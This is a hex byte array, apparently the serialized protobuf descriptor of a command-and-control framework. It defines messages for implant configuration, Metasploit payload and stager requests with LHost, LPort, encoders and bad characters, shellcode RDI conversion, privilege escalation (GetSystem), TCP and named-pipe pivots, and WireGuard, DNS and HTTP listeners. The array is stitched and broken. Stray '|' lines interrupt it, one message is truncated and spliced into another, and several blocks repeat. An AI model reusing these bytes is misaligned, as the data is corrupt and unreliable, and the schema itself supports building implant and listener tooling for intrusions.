0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54,
|
||||
0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65,
|
||||
0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73,
|
||||
0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,
|
||||
0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18,
|
||||
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
|
||||
0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65,
|
||||
0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
|
||||
0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73,
|
||||
0x69, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x53,
|
||||
0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
|
||||
0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69,
|
||||
0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f,
|
||||
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x03, 0x20,
|
||||
0x01, 0x28, 0x05, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e,
|
||||
0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e,
|
||||
0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0c, 0x50, 0x6f,
|
||||
0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x22, 0x3e, 0x0a, 0x0b, 0x47, 0x65,
|
||||
0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e,
|
||||
0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66,
|
||||
0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65,
|
||||
0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
|
||||
0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d,
|
||||
0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64,
|
||||
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12,
|
||||
0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05,
|
||||
0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45,
|
||||
0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e,
|
||||
0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61,
|
||||
0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
|
||||
0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
|
||||
0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
|
||||
0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65,
|
||||
0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a,
|
||||
0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48,
|
||||
0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01,
|
||||
0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63,
|
||||
0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f,
|
||||
0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e,
|
||||
0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d,
|
||||
0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
|
||||
0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
|
||||
0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
|
||||
0x73, 0x74, 0x22, 0xbe, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73,
|
||||
0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f,
|
||||
0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a,
|
||||
0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73,
|
||||
0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52,
|
||||
0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20,
|
||||
0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72,
|
||||
0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a,
|
||||
0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12,
|
||||
0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41,
|
||||
0x43, 0x4d, 0x45, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73,
|
||||
0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53,
|
||||
0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12,
|
||||
0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61,
|
||||
0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61,
|
||||
0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65,
|
||||
0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d,
|
||||
0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64,
|
||||
0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01,
|
||||
0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xc3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66,
|
||||
0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63,
|
||||
0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a,
|
||||
0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46,
|
||||
0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20,
|
||||
0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73,
|
||||
0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a,
|
||||
0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a,
|
||||
0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32,
|
||||
0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65,
|
||||
0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63,
|
||||
0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07,
|
||||
0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x22, 0x2f,
|
||||
0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46,
|
||||
0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
|
||||
0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22,
|
||||
0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71,
|
||||
0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65,
|
||||
0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e,
|
||||
0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66,
|
||||
0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
|
||||
0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69,
|
||||
0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
|
||||
0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73,
|
||||
0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52,
|
||||
0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01,
|
||||
0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50,
|
||||
0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52,
|
||||
0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57,
|
||||
0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62,
|
||||
0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22,
|
||||
0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52,
|
||||
0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20,
|
||||
0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08,
|
||||
0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08,
|
||||
0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74,
|
||||
0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05,
|
||||
0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74,
|
||||
0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12,
|
||||
0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05,
|
||||
0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xdd, 0x01, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69,
|
||||
0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d,
|
||||
0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69,
|
||||
0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
|
||||
0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20,
|
||||
0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63,
|
||||
0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72,
|
||||
0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43,
|
||||
0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12,
|
||||
0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65,
|
||||
0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52,
|
||||
0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74,
|
||||
0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69,
|
||||
0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69,
|
||||
0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61,
|
||||
0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61,
|
||||
0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20,
|
||||
0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22,
|
||||
0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a,
|
||||
0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07,
|
||||
0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73,
|
||||
0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f,
|
||||
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52,
|
||||
0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50,
|
||||
0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72,
|
||||
0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65,
|
||||
0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20,
|
||||
0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22,
|
||||
0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53,
|
||||
0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75,
|
||||
0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
|
||||
0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
|
||||
0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52,
|
||||
0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c,
|
||||
0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44,
|
||||
0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a,
|
||||
0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08,
|
||||
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
|
||||
0x61, 0x74, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65,
|
||||
0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53,
|
||||
